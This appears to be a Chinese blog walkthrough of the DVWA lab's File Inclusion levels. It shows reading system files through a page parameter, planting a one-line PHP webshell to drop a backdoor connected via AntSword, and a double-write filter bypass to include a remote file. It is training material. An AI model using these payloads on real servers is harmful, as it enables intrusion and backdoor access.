dvwa靶场通关(四)

第4关:File Inclusion(文件包含)

1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。


require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次

类型:
本地文件包含漏洞与远程文件包含漏洞。
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

low

有三个php文件
dvwa靶场通关(四)_第1张图片

 我们分别点击,观察到,我们点击哪个文件,url中的page=接着就是我们点击的文件名,然后显示文件的相应内容,所以这page=后面就是参数,即包含的文件

dvwa靶场通关(四)_第2张图片Windows系统都有一个系统文件win.ini在c盘,我们尝试读取一下。

读取成功

dvwa靶场通关(四)_第3张图片

 但是,在现实中,刚开始我们是不知道服务器的系统的。我们可以尝试包含一个不存在的文件

,比如666.txt,就会出现如下报错,这一报错暴露出服务器是Windows系统,还知道了服务器的根目录 

dvwa靶场通关(四)_第4张图片

我们在dvwa文件夹下,创建一个test.txt文件,写入hello world 

dvwa靶场通关(四)_第5张图片

然后我们用相对路径,包含该txt文件,读取出来

注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取任意命令执行

dvwa靶场通关(四)_第6张图片

 我们常常结合文件上传漏洞,上传一句话木马文件,这里模拟已经上传了txt文件

')?>

 把上面的test.txt文件修改,写入一句话木马

 dvwa靶场通关(四)_第7张图片

然后包含我们的test.txt文件,返回是空的,但是一句话木马已经被执行,生成了后门shell20.php

dvwa靶场通关(四)_第8张图片

 用中国蚁剑连接

dvwa靶场通关(四)_第9张图片

 dvwa靶场通关(四)_第10张图片

 medium

 可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 "../", "..\""替换为空字符,即删除。但是实际上,使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如:page=hthttp://tp://192.168.67.143/phpinfo.txt时,str_replace函 数会将http://删除,于是就变成了:page=http://192.168.5.12/phpinfo.txt, 成功执行远程命令

因为替换的只是../ 或者 ..\\,所以对采用绝对路径的方式包含文件是不会受到任何限制
dvwa靶场通关(四)_第11张图片

 如果我们采用相对路径,同理也可以双写绕过

 

 high

看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件

dvwa靶场通关(四)_第12张图片

 file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件绝对路径。

由于file协议只支持本地文件读取,不支持远程文件执行,就没办法执行远程文件

dvwa靶场通关(四)_第13张图片

 impossible

给出最简单粗暴的防御办法是直接使用出白名单

dvwa靶场通关(四)_第14张图片

 

你可能感兴趣的:(dvwa通关,php,开发语言,web安全,网络安全)